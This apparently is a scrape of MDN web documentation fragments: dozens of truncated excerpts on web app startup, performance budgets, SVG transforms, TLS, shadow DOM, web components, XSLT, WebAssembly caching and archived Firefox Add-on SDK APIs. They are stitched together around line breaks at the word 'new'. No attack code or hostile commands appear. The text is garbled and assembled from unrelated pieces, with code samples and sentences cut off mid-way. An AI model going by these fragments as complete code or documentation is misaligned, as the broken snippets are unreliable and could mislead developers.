new app and when porting an app from another platform to the web. starting up nicely regardless of platform, it's always a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible. that means not running all your sta...
...ty easy to just write everything the "right way," making appropriate bits of the code asynchronous. all pure startup calculations should be performed in background threads, while you keep the run-time of main thread events as short as possible. include a progress indicator so the user knows what's going on and how long they'll be waiting. in theory, anyway, it should be pretty easy to design your
new app to start up nicely. on the other hand, however, it can get tricky when you're porting an existing app to the web. a desktop application doesn't need to be written in an asynchronous fashion because usually the operating system handles that for you, or the app is the only thing that matters which is currently running, depending on the operating environment. the source application might have a...
... that unless you can easily pull out the "pure calculation" chunks of your startup process into workers, you'll wind up having to run most or all of your startup code on the main thread. however, even code like that can be made asynchronous, with a little work. getting asynchronous here are some suggestions for how to build your startup process to be as asynchronous as possible (whether it's a
new app or a port): use the defer or async attribute on script tags needed by the web application. this allows html parsers to continue processing the document, instead of having to wait until the scripts have been downloaded and executed before continuing. if you need to decode asset files (for example, decoding jpeg files and turning them into raw texture data for later use by webgl), that's gr...
Performance budgets - Web Performance
r a 3g connection), using multiple tools. these time-based metrics will translate into file-size budgets. a default baseline to reduce bounce rate is to achieve time to interactive under 5 seconds in 3g/4g, and under 2 seconds for subsequent loads. however, based on the specific goals and content of your site, you might choose to focus on other metrics. for a text-heavy site such as a blog or a
news site, the first contentful paint metric could reflect more closely the user behavior. (i.e. how fast can users start reading), which will inform file specific budgets (e.g. font size), and their optimizations. (e.g. using font-display to improve perceived performance). the ultimate value of a performance budget is to correlate the impact of performance on business or product goals. when definin...
...eived performance). the ultimate value of a performance budget is to correlate the impact of performance on business or product goals. when defining metrics, you should focus on user experience, which will dictate not only the bounce or conversion rate but how likely is that user to return. how do i implement a performance budget? during development, there are a few tools to run checks against
new or modified assets: a module bundler (e.g. webpack), has performance features that will notify you when assets exceed specified limits. bundlesize, allows you to define and run file size checks in your ci pipeline. file size checks are the first line of defense against regressions but translating size back into time metrics can be difficult since development environments could be missing 3r...
...u should have multiple budgets and be dynamic. they are meant to reflect your ongoing goals but allow risks and experiments. for example, you may introduce a feature that increases overall load time but attempts to increase user engagement. (i.e. how long a user stays on a page or site). a performance budget helps you protect optimal behavior for your current users while enabling you to tap into
new markets and deliver custom experiences. ...
Basic Transformations - SVG: Scalable Vector Graphics
shrinks by 50%. if the second number is omitted, it is assumed to be equal to the first. complex transformations with matrix() all the above transformations can be expressed by a 2x3 transformation matrix. to combine several transformations, one can set the resulting matrix directly with the matrix(a, b, c, d, e, f) transformation which maps coordinates from a previous coordinate system into a
new coordinate system by {x
newcoordsys=axprevcoordsys+cyprevcoordsys+ey
newcoordsys=bxprevcoordsys+dyprevcoordsys+f\left{ \begin{matrix} x_{\mathrm{prevcoordsys}} = a x_{\mathrm{
newcoordsys}} + c y_{\mathrm{
newcoordsys}} + e \\ y_{\mathrm{prevcoordsys}} = b x_{\mathrm{
newcoordsys}} + d y_{\mathrm{
newcoordsys}} + f \end{matrix} \right. see a concrete example on the svg transform documentation. detai...
...that means, the units you specify for the element and its children might not follow the 1:1 pixel mapping, but are also distorted, skewed, translated and scaled according to the transformation. ...
...eight="100"> <g transform="scale(2)"> <rect width="50" height="50" /> </g> </svg> the resulting rectangular in the above example will be 100x100px. the more intriguing effects arise, when you rely on attributes like userspaceonuse and the such. embedding svg in svg in contrast to html, svg allows you to embed other svg elements seamlessly. this way you can also simply create
new coordinate systems by utilizing the viewbox, width and height of the inner svg element. <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewbox="0 0 50 50"> <rect width="50" height="50" /> </svg> </svg> the example above has basically the same effect as the one above, namely that the rect will be twice as large as specified.
Transport Layer Security - Web security
for instance, the names used in openssl and gnutls differ from those in the tls standards. the cipher names correspondence table on the mozilla opsec team's article on tls configurations lists these names as well as information about compatibility and security levels. configuring your server correctly configuring your server is crucial. in general, you should try to limit cipher support to the
newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. the mozilla opsec guide to tls configurations provides more information on recommended configurations. to assist you in configuring your site, mozilla provides a helpful tls configuration generator that will generate configuration files for the following web servers: apache nginx lighttpd...
...ts that reconnect to the server can send requests immediately, eliminating the latency of the tls handshake entirely. though the performance gains from 0-rtt can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature. tls 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key. tls 1.3 defines a
new set of cipher suites that are exclusive to tls 1.3. these cipher suites all use modern authenticated encryption with associated data (aead) algorithms. the tls 1.3 handshake is encrypted, except for the messages that are necessary to establish a shared secret. in particular, this means that server and client certificates are encrypted. note however that the server identity (the server_name or sn...
... digital signature algorithm (dsa) certificates, static rsa key exchange, and key exchange with custom diffie-hellman (dh) groups. implementations of draft versions of tls 1.3 are available. tls 1.3 is enabled in some browsers, including the 0-rtt mode. web servers that enable tls 1.3 might need to adjust configuration to allow tls 1.3 to operate successfully. tls 1.3 adds just one significant
new use case. the 0-rtt handshake can provide significant performance gains for latency sensitive applications, like the web. enabling 0-rtt requires additional steps, both to ensure successful deployment and to manage the risks of replay attacks. the removal of renegotiation in tls 1.3 might affect some web servers that rely on client authentication using certificates. some web servers use renegoti...
Using shadow DOM - Web Components
ehavior hidden and separate from other code on the page so that different parts do not clash, and the code can be kept nice and clean. the shadow dom api is a key part of this, providing a way to attach a hidden separated dom to an element. this article covers the basics of using the shadow dom. note: shadow dom is supported by default in firefox (63 and onwards), chrome, opera, and safari. the
new chromium-based edge (75 and onwards) supports it too; the old edge didn't. high-level view this article assumes you are already familiar with the concept of the dom (document object model) — a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an html document in the case of web documents). as an example, ...
...the shadow dom in exactly the same way as non-shadow nodes — for example appending children or setting attributes, styling individual nodes using element.style.foo, or adding style to the entire shadow dom tree inside a <style> element. the difference is that none of the code inside a shadow dom can affect anything outside it, allowing for handy encapsulation. note that the shadow dom is not a
new thing by any means — browsers have used it for a long time to encapsulate the inner structure of an element. think for example of a <video> element, with the default browser controls exposed. all you see in the dom is the <video> element, but it contains a series of buttons and other controls inside its shadow dom. the shadow dom spec has made it so that you are allowed to actually manipulate t...
...s to attach all the created elements to the shadow root: // attach the created elements to the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); using our custom element once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in using custom elements: // define the
new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."> internal versus external styles in the above example we apply style to the shadow dom using a <style> e...
Web Components
kup templates that are not displayed in the rendered page. these can then be reused multiple times as the basis of a custom element's structure. the basic approach for implementing a web component generally looks something like this: create a class in which you specify your web component functionality, using the ecmascript 2015 class syntax (see classes for more information). register your
new custom element using the customelementregistry.define() method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally, what element it inherits from. if required, attach a shadow dom to the custom element using element.attachshadow() method. add child elements, event listeners, etc., to the shadow dom using regular dom methods. ...
...to the shadow dom tree, style it, and more. using templates and slots a guide showing how to define a reusable html structure using <template> and <slot> elements, and then use that structure inside your web components. reference custom elements customelementregistry contains functionality related to custom elements, most notably the customelementregistry.define() method used to register
new custom elements so they can then be used in your document. window.customelements returns a reference to the customelementregistry object. life cycle callbacks special callback functions defined inside the custom element's class definition, which affect its behavior: connectedcallback: invoked when the custom element is first connected to the document's dom. disconnectedcallback: invoked...
...y object. life cycle callbacks special callback functions defined inside the custom element's class definition, which affect its behavior: connectedcallback: invoked when the custom element is first connected to the document's dom. disconnectedcallback: invoked when the custom element is disconnected from the document's dom. adoptedcallback: invoked when the custom element is moved to a
new document. attributechangedcallback: invoked when one of the custom element's attributes is added, removed, or changed. extensions for creating custom built-in elements the is global html attribute: allows you to specify that a standard html element should behave like a registered custom built-in element. the "is" option of the document.createelement() method: allows you ...
XPath snippets - XPath
ile the second is a string defining an xpath expression. example: defining a custom node-specific evaluatexpath() utility function // evaluate an xpath expression aexpression against a given dom node // or document object (anode), returning the results as an array // thanks wanderingstan at morethanwarm dot mail dot com for the // initial work. ...
...ction evaluatexpath(anode, aexpr) { var xpe =
new xpathevaluator(); var nsresolver = xpe.creatensresolver(anode.ownerdocument == null ? ...
...anode, nsresolver, 0, null); var found = []; var res; while (res = result.iteratenext()) found.push(res); return found; } this function uses the
new xpathevaluator() constructor, which is supported in firefox, chrome, opera and safari, but not in edge or internet explorer. ...
Basic Example - XSLT: Extensible Stylesheet Language Transformations
prequest both the .xsl (xslstylesheet) and the .xml (xmldoc) files into memory. the .xsl file is then imported (xsltprocessor.importstylesheet(xslstylesheet)) and the transformation run (xsltprocessor.transformtofragment(xmldoc, document)). this allows fetching of data after the page has been loaded, without initiating a fresh page load. ...
...mportstylesheet(xslstylesheet)) and the transformation run (xsltprocessor.transformtofragment(xmldoc, document)). this allows fetching of data after the page has been loaded, without initiating a fresh page load. ...
...ssor =
new xsltprocessor(); var mydom; var xmldoc; function init(){ // load the xslt file, example1.xsl var myxmlhttprequest =
new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xsl", false); myxmlhttprequest.send(null); xslstylesheet = myxmlhttprequest.responsexml; xsltprocessor.importstylesheet(xslstylesheet); // load the xml file, example1.xml myxmlhttprequest =
new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xml", false); myxmlhttprequest.send(null); xmldoc = myxmlhttprequest.responsexml; var fragment = xsltprocessor.transformtofragment(xmldoc, document); document.getelementbyid("example").innerhtml = ""; mydom = fragment; document.getelementbyid("example").appendchild(fragment); } ...
XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes extensible stylesheet language transformations (xslt) is an xml-based language used, in conjunction with specialized processing software, for the transformation of xml documents. although the process is referred to as "transformation," the original document is not changed; rather, a
new xml document is created based on the content of an existing document. then, the
new document may be serialized (output) by the processor in standard xml syntax or in another format, such as html or plain text. xslt is most often used to convert data between different xml schemas or to convert xml data into web pages or pdf documents. documentation xslt element reference reference. transforming xml with ...
... teaches the reader how to use xslt to transform xml documents into other formats, like xhtml. ...
...ats, like xhtml. ...
Caching compiled WebAssembly modules - WebAssembly
r along with today's more modern apis. in our wasm-utils.js library script, you'll find instantiatecachedurl() — this function fetches the wasm module at url with a version of dbversion, instantiates it with the given importobject, and returns a promise resolving to the finished wasm instance. additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store
new modules in the database, and retrieves previously cached modules from the database, saving you from having to download them again. note: the entire site's wasm cache (not just the given url) is versioned by the specified dbversion passed into the function. if the wasm module code is updated, or its url changes, you will need to update dbversion. any subsequent call to instantiatecachedurl() wil...
...nction instantiatecachedurl(dbversion, url, importobject) { const dbname = 'wasm-cache'; const storename = 'wasm-cache'; setting up the database the first helper function contained inside instantiatecachedurl() — opendatabase() — creates an object store for storing wasm modules, and also handles clearing out the database if the dbversion is updated; it returns a promise resolving to the
new database. function opendatabase() { return
new promise((resolve, reject) => { var request = indexeddb.open(dbname, dbversion); request.onerror = reject.bind(null, 'error opening wasm cache database'); request.onsuccess = () => { resolve(request.result) }; request.onupgradeneeded = event => { var db = request.result; if (db.objectstorenames.contains(s...
...ing wasm cache database'); request.onsuccess = () => { resolve(request.result) }; request.onupgradeneeded = event => { var db = request.result; if (db.objectstorenames.contains(storename)) { console.log(`clearing out version ${event.oldversion} wasm cache`); db.deleteobjectstore(storename); } console.log(`creating version ${event.
newversion} wasm cache`); db.createobjectstore(storename) }; }); } looking up modules in the database our next function — lookupindatabase() — provides a simple promise-based operation for looking up the given url in the object store we created above. it resolves with the stored compiled module, or rejects with an error. function lookupindatabase(db) { return
new prom...
WebAssembly Concepts - WebAssembly
it is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like c, c++, rust, etc. ...
...it is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like c, c++, rust, etc. ...
...ed, with client apps running on the web that previously couldn’t have done so. what’s more, you don’t even have to know how to create webassembly code to take advantage of it. webassembly modules can be imported into a web (or node.js) app, exposing webassembly functions for use via javascript. javascript frameworks could make use of webassembly to confer massive performance advantages and
new features while still making functionality easily available to web developers. webassembly goals webassembly is being created as an open standard inside the w3c webassembly community group with the following goals: be fast, efficient, and portable — webassembly code can be executed at near-native speed across different platforms by taking advantage of common hardware capabilities. be reada...
WebAssembly
it is also designed to run alongside javascript, allowing both to work together. in a nutshell webassembly has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that previously couldn’t have done so. ...
...hat's even better is that it is being developed as a web standard via the w3c webassembly working group and community group with active participation from all major browser vendors. guides webassembly concepts get started by reading the high-level concepts behind webassembly — what it is, why it is so useful, how it fits into the web platform (and beyond), and how to use it. compiling a
new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a tool like emscripten. let’s look at how it works. compiling an existing c module to webassembly a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web. compiling from rust to webassembly if you've written some rust...
...ng webassembly code, returning both a module and its first instance. webassembly.memory() a webassembly.memory object is a resizable arraybuffer that holds the raw bytes of memory accessed by an instance. webassembly.table() a webassembly.table object is a resizable typed array of opaque values, like function references, that are accessed by an instance. webassembly.compileerror() creates a
new webassembly compileerror object. webassembly.linkerror() creates a
new webassembly linkerror object. webassembly.runtimeerror() creates a
new webassembly runtimeerror object. examples wasmsobel see our webassembly-examples repo for a number of other examples. specifications specification status comment webassembly javascript interface working draft ...
2015 MDN Fellowship Program - Archive of obsolete content
er: @lastontheboat service workers brief project description service workers essentially act as proxy servers that sit between web applications, the browser and (when available) the network. they enable the creation of effective offline experiences and wiill also allow access to push notifications and background sync apis. activities and deliverables write a demonstration web application (
new or existing) to showcase service worker functionality. provide detailed api descriptions. required skills and experience experienced web developer with expertise in javascript, css, html as well as with efficient network interaction (queuing resource fetching, etc.). self-starter and autonomous worker mentor information brittany storoz, mozilla apps engineering. github: brittanystoroz twitt...
...s well as with efficient network interaction (queuing resource fetching, etc.). self-starter and autonomous worker mentor information brittany storoz, mozilla apps engineering. github: brittanystoroz twitter: @brittanystoroz webgl brief project description webgl is the latest incarnation of the opengl family of real time rendering immediate mode graphics apis. webgl is getting some cool
new features in 2015 with the standardization efforts around the webgl 2.0 spec being published. activities and deliverables help us develop a curriculum on mdn for teaching developers
new to graphics programming the webgl apis. required skills and experience computer graphics experience with programmable shaders and the opengl, opengl es, webgl, or direct3d apis. command of javascript and module...
Navigator.mozNotification - Archive of obsolete content
ion object that can be used to display the specified message with an optional url. notification createnotification( in domstring title, in domstring description, in domstring iconurloptional ); parameters title the notification title. description the text to display in the notification. iconurl optional a url identifying the image to display in the notification. return value a
new notification object. permissions when using notifications in an open web app, be sure to add the desktop-notification permission in your manifest file: "permissions": { "desktop-notification": {} } usage notes in firefox 22+, the instantiation of a
new notification should be done with the notification object by calling
new notification(title, options). nick desaulniers has written a n...
... ...
Private Properties - Archive of obsolete content
to happen. the above two problems are exactly what weakmaps were designed to solve. a weakmap is very similar to an ordinary hash map, but differs from it in two crucial ways: it can use ordinary objects as keys it does not maintain a strong reference to its values to understand how weakmaps are used in practice, the following rewrites the thumbnail cache using a weakmap: let thumbnails =
new weakmap(); function getthumbnail(image) { let thumbnail = thumbnails.get(image); if (!thumbnail) { thumbnail = createthumbnail(image); thumbnails.set(image, thumbnail); } return thumbnail; } this version suffers from none of the problems we mentioned earlier. when a thumbnail's image goes out of scope, the weakmap ensures that its entry in the thumbnail cache wi...
...ction, a separate weakmap was used to associate each private property with an object. this is cumbersome if the number of private properties becomes large. a better solution would be to store all private properties on a single object, called a namespace, and then store the namespace as a private property on the original object. ...
SDK and XUL Comparison - Archive of obsolete content
pt apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on. compatibility although we can't promise we'll never break a high-level api, maintaining compatibility across firefox versions is a top priority for us. we've designed the apis to be forward-compatible with the
new multiple process architecture (codenamed electrolysis) planned for firefox. we also expect to support both desktop and mobile firefox using a single edition of the sdk: so you'll be able to write one extension and have it work on both products. security if they're not carefully designed, firefox add-ons can open the browser to attack by malicious web pages. although it's...
...raditional add-ons would have to be substantially rewritten anyway. user experience best practices the ui components available in the sdk are designed to align with the usability guidelines for firefox, giving your users a better, more consistent experience. mobile support starting in sdk 1.5, we've added experimental support for developing add-ons on the
new native version of firefox mobile. see the tutorial on mobile development. advantages of xul-based add-ons user interface flexibility xul overlays offer a great deal of options for building a ui and integrating it into the browser. using only the sdk's supported apis you have much more limited options for your ui. xpcom traditional add-on...
Testing the Add-on SDK - Archive of obsolete content
uite of tests which run sdk module unit tests. this suite builds the entire addon-sdk repo as an add-on, like cfx xpi would, then runs the add-on like cfx test would. the majority of the tests run here are module unit tests, but there are various other tests included here as well. note: you must remember to run source bin/activate in order to enable cfx first. with jpm jpm tests all use the
new toolkit/loader. with jpm (which is not part of the add-on sdk repo, and must be installed separately) things more difficult without the gulp commands provided by the gulpscript.js file in the addon-sdk repo. with gulp installed, and after installing the addon-sdk's npm dependencies, we can run the latter three test suites mentioned for cfx with jpm using the following commands: gulp test:exa...
... that. with mach there are two commands: ./mach mochitest -f jetpack-addon <optional_addon_path>: this runs the test add-ons mentioned for cfx testaddons and gulp test:addons with the older sdk/loader/cuddlefish used with cfx. ./mach mochitest -f jetpack-package <optional_file_path>: this runs the module unit tests mentioned for cfx testpkgs and gulp test:modules but in this case with the
newer toolkit/loader used with jpm. with try server ...
clipboard - Archive of obsolete content
arency on windows. examples set and get the contents of the clipboard. var clipboard = require("sdk/clipboard"); clipboard.set("lorem ipsum dolor sit amet"); var contents = clipboard.get(); set the clipboard contents to some html. var clipboard = require("sdk/clipboard"); clipboard.set("<blink>lorem ipsum dolor sit amet</blink>", "html"); if the clipboard contains html content, open it in a
new tab. var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("html") != -1) require("sdk/tabs").open("data:text/html;charset=utf-8," + clipboard.get("html")); set the clipboard contents to an image. var clipboard = require("sdk/clipboard"); clipboard.set("data:image/png;base64,ivborw0kggoaaaansuheugaaacaaaaagcaya" + "aabzenr0aaaasuleqvryhe3o0qkaiawd0eyqe3...
...pboard contents to an image. var clipboard = require("sdk/clipboard"); clipboard.set("data:image/png;base64,ivborw0kggoaaaansuheugaaacaaaaagcaya" + "aabzenr0aaaasuleqvryhe3o0qkaiawd0eyqe3q993aq3cbsukpygfsnty" + "n5ugbqpk0baadgp0brdwxwlweaaaaagpsa3rzdaaaaahgpcgrpganzq2fg" + "bwrr9aaaaabjru5erkjggg%3d%3d"); if the clipboard contains an image, open it in a
new tab. var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("image") != -1) require("sdk/tabs").open(clipboard.get()); as noted before, data type can be easily omitted for images. if the intention is set the clipboard to a data url as string and not as image, it can be done by specifying a different flavor, like text. var clipboard = require("sdk/clipboard"); clipboa...
indexed-db - Archive of obsolete content
this example uses the action button api, which is only available from firefox 29 onwards. here's a complete add-on that adds two buttons to the browser: the button labeled "add" adds the title of the current tab to a database, while the button labeled "list" lists all the titles in the database. the add-on implements helper functions open(), additem() and getitems() to open the database, add a
new item to the database, and get all items in the database. var { indexeddb, idbkeyrange } = require('sdk/indexed-db'); var database = {}; database.onerror = function(e) { console.error(e.value) } function open(version) { var request = indexeddb.open("stuff", version); request.onupgradeneeded = function(e) { var db = e.target.result; e.target.transaction.onerror = database.onerror...
... db.deleteobjectstore("items"); } var store = db.createobjectstore("items", {keypath: "time"}); }; request.onsuccess = function(e) { database.db = e.target.result; }; request.onerror = database.onerror; }; function additem(name) { var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var time =
new date().gettime(); var request = store.put({ "name": name, "time": time }); request.onerror = database.onerror; }; function getitems(callback) { var cb = callback; var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var items =
new array(); trans.oncomplete = function() { cb(items); } var keyrange =...
page-mod - Archive of obsolete content
frames as well as the topmost document. contentscriptwhen controls the point during document load at which content scripts are attached. exclude has the same syntax as include, but specifies the urls to which content scripts should not be attached, even if they match include: so it's a way of excluding a subset of the urls that include specifies. the exclude option is
new in firefox 32. these options are documented in detail below. for all the details on content scripts, see the guide to content scripts. communicating with content scripts your add-on's "main.js" can't directly access the state of content scripts you load, but you can communicate between your add-on and its content scripts by exchanging messages. to do this, you'll need to listen to ...
...chto: ["existing", "top"], onattach: function(worker) { console.log(worker.tab.url); } }); name: onattach type: function assign a listener function to this option to listen to the page-mod's attach event. see the documentation for attach and communicating with content scripts. name: exclude type: string, regexp, array of (string or regexp) this option is
new in firefox 32 specifies a range of urls to exclude. this takes the same syntax as the include option: a match-pattern string or regular expression, or an array of match pattern strings or regular expressions. these match-patterns define the documents to which the page-mod will not be applied, even if their urls match the include option: var pagemod = require("sdk/page-mod"); var modscript = '...
passwords - Archive of obsolete content
t field in a form. onerror function the callback function that is called if the function failed. the callback is passed an error containing a reason of a failure: this is an nsiexception object. store(options) this function is used to store a credential in the password manager. it takes an options object as an argument: this contains all the properties for the
new credential. as different sorts of credentials contain different properties, the appropriate options differ depending on the sort of credential being stored. to store an add-on credential: require("sdk/passwords").store({ realm: "user registration", username: "joe", password: "secret123", }); to store an html form credential: require("sdk/passwords").store({ url: "http://www.example.c...
... password string the password for the credential. optional options: name type url string the url to which the credential applies. omitted for add-o...
widget - Archive of obsolete content
the widget is immediately added to the add-on bar. parameters options : object required options: name type label string a string description of the widget used for accessibility, title bars, and error reporting. id string a string used to identify your widget in order to save its location when the user moves it in the br...
...s property. any kind of jsonable value (object, array, string, etc.) can be used here. optional. port object that allows you to: send events to the content script using the port.emit function receive events from the content script using the port.on function see the guide to communicating using port for details. events attach this event is emitted when a browser window is opened and a
new widgetview object is created. if the widget has a content script, this event is fired only when the content script is applied according to the contentscriptwhen attribute. arguments widgetview : the related widgetview object. click this event is emitted when the widget is clicked. arguments widgetview : listeners are passed a single argument which is the widgetview that triggered the click ...
frame/utils - Archive of obsolete content
t in a privileged document. parameters document : nsidomdocument options : object optional options: name type type string string that defines access type of the document loaded into it. defaults to "content". for more details and other possible values see documentation on mdn uri string uri of the document to be loaded into the
new frame. defaults to about:blank. remote boolean if true separate process will be used for this frame, and all the following options are ignored. allowauth boolean whether to allow auth dialogs. defaults to false. allowjavascript boolean whether to allow javascript execution. defaults to false. allowplugins bool...
... ...
util/array - Archive of obsolete content
ther or not the element was removed from the array. unique(array) produces a duplicate-free version of the given array. let { unique } = require('sdk/util/array'); let a = [1, 1, 1, 1, 3, 4, 7, 7, 10, 10, 10, 10]; let b = unique(a); console.log(a); // [1, 1, 1, 1, 3, 4, 7, 7, 10, 10, 10, 10]; console.log(b); // [1, 3, 4, 7, 10]; parameters array : array source array. returns array : the
new, duplicate-free array. flatten(array) flattens a nested array of any depth. let { flatten } = require('sdk/util/array'); let a = ['cut', ['ice', ['fire']], 'elec']; let b = flatten(a); console.log(a); // ['cut', ['ice', ['fire']], 'elec'] console.log(b); // ['cut', 'ice', 'fire', 'elec']; parameters array : array the array to flatten. returns array : the
new, flattened array. fromitera...
...t', ['ice', ['fire']], 'elec']; let b = flatten(a); console.log(a); // ['cut', ['ice', ['fire']], 'elec'] console.log(b); // ['cut', 'ice', 'fire', 'elec']; parameters array : array the array to flatten. returns array : the
new, flattened array. fromiterator(iterator) iterates over an iterator and returns the results as an array. let { fromiterator } = require('sdk/util/array'); let i =
new set(); i.add('otoro'); i.add('unagi'); i.add('keon'); fromiterator(i) // ['otoro', 'unagi', 'keon'] parameters iterator : iterator the iterator object over which to iterate and place results into an array. returns array : the iterator's results in an array. find(iterator) iterates over given array and applies given predicate function until predicate(element) is true. if such element is f...
util/match-pattern - Archive of obsolete content
in particular: the pattern must match the entire value, not just any subset. for example, the pattern /moz.*/ will not match the url http://mozilla.org. the expression is compiled with the global, ignorecase, and multiline flags disabled. the matchpat...
... parameters pattern : string the patter...
util/uuid - Archive of obsolete content
generate or parse uuids. usage it exports a single function, uuid(). for more details about uuid representations and what they are used for by the platform see the mdn documentation for jsid. generate uuid to generate a
new uuid, call uuid() with no arguments: let uuid = require('sdk/util/uuid').uuid(); parsing uuid to convert a string representation of a uuid to an nsid, pass the string representation to uuid(): let { uuid } = require('sdk/util/uuid'); let firefoxuuid = uuid('{ec8030f7-c20a-464f-9b0e-13a3a9e97384}'); globals functions uuid(stringid) generate a
new uuid, or convert a string representation of a uuid to an nsid. parameters stringid : string string representation of a uuid, such as: "8cbc9bf4-4a16-11e2-aef7-c1a56188709b" optional. if this argument is supplie...
...id'); let firefoxuuid = uuid('{ec8030f7-c20a-464f-9b0e-13a3a9e97384}'); globals functions uuid(stringid) generate a
new uuid, or convert a string representation of a uuid to an nsid. parameters stringid : string string representation of a uuid, such as: "8cbc9bf4-4a16-11e2-aef7-c1a56188709b" optional. if this argument is supplied, it will be converted to an nsid and returned. otherwise a
new nsid will be generated and returned. returns nsid : a uuid, represented as an nsid object. ...
Adding a Button to the Toolbar - Archive of obsolete content
to follow this tutorial you'll need to have learned the basics of jpm. to add a button to the toolbar, use the action button or toggle button modules. create a
new directory, navigate to it, and execute jpm init, accepting all the defaults. create a directory called "data", mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png then open the file called "index.js" in the root of your addon directory and add the following code to it: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, ...
...n. the button is added to the toolbar at the top of the browser window: you can't set the initial location for the button, but the user can move it using the browser's customization feature. the id attribute is mandatory, and is used to remember the position of the button, so you should not change it in subsequent versions of the add-on. clicking the button loads https://www.mozilla.org/ into a
new tab. specifying the icon the icon property may specify a single icon or a collection of icons in different sizes, as in the example above. if you specify a collection of icons in different sizes the browser will automatically choose the best fit for the screen resolution and the place in the browser ui that hosts the button. read more about specifying multiple icons. the icon file must be pack...
Creating Reusable Modules - Archive of obsolete content
/action").actionbutton({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png" }, onclick: function() { console.log(md5file(promptforfile())); } }); this works , but index.js is now getting longer and its logic is harder to understand. let's factor the file picker and hashing code into separate modules. creating separate modules filepicker.js first create a
new file in "lib" called "filepicker.js". copy the file picker code into this
new file, and add the following line at the end: exports.promptforfile = promptforfile; this defines the public interface of the
new module. so "filepicker.js" should look like this: var {cc, ci} = require("chrome"); function promptforfile() { var window = require("sdk/window/utils").getmostrecentbrowserwindow(); ...
...ile const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string. ...
Modifying Web Pages Based on URL - Archive of obsolete content
run jpm init, accepting all the defaults open the file index.js and add the code above run jpm run open ietf.org in the browser window that opens. below is what you should see. specifying the match pattern match pattern uses match-pattern syntax. you can pass a single match-pattern string, or an array. keeping the content script in a separate file in the ...
...e from one side to the other, sender calls port.emit() and receiver listens using port.on(). in the content script, port is a property of the global self object. in the add-on script, you need to listen for the onattach event to get passed a worker object that contains port. let's rewrite the example above to pass a message from the add-on to the content script. the message will contain the
new content to insert into the document. the content script now needs to look like this: // "self" is a global object in content scripts // listen for a message, and replace the document's // contents with the message payload. self.port.on("replacepage", function(message) { document.body.innerhtml = "<h1>" + message + "</h1>"; }); in the add-on script, we'll send the content script a message in...
Bootstrapped extensions - Archive of obsolete content
gside the install.rdf file in the extension's package. backward compatibility because older versions of firefox don't know about the bootstrap property or bootstrap.js file, it's not overly difficult to create an xpi that will work on both as a bootstrappable extension and as a traditional extension. create your extension as a bootstrappable extension, then add the traditional overlays as well.
newer versions of firefox will use the bootstrap.js script, ignoring the components and overlays, while older versions will use the overlays. bootstrap entry points the bootstrap.js script should contain several specific functions, which are called by the browser to manage the extension. the script gets executed in a privileged sandbox, which is cached until the extension is shut down. startup ca...
...nding on whether the add-on is installed unpacked or not. resourceuri nsiuri a uri pointing at the root of the add-ons files, this may be a jar: or file: uri depending on whether the add-on is installed unpacked or not. oldversion string the previously installed version, if the reason is addon_upgrade or addon_downgrade, and the method is install or startup.
newversion string the version to be installed, if the reason is addon_upgrade or addon_downgrade, and the method is shutdown or uninstall. note: an add-on may be upgraded/downgraded at application startup, in this case the startup method reason is app_startup, and the oldversion property is not set. also be aware that in some circumstances an add-on upgrade/downgrade may occur without t...
Drag & Drop - Archive of obsolete content
(supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-service;1'].getservice(components.interfaces.nsiioservice); var uris =
new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("applicatio...
...0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.
newuri(str.data.split("\n")[0], null, null); } else { var file = data.value.queryinterface(components.interfaces.nsifile); if (file) uri = _ios.
newfileuri(file); } } if (uri) uris.push(uri); } // use the array of file uris } the _dragover function checks the drag data to see if a simple text file or general purp...
Forms related code snippets - Archive of obsolete content
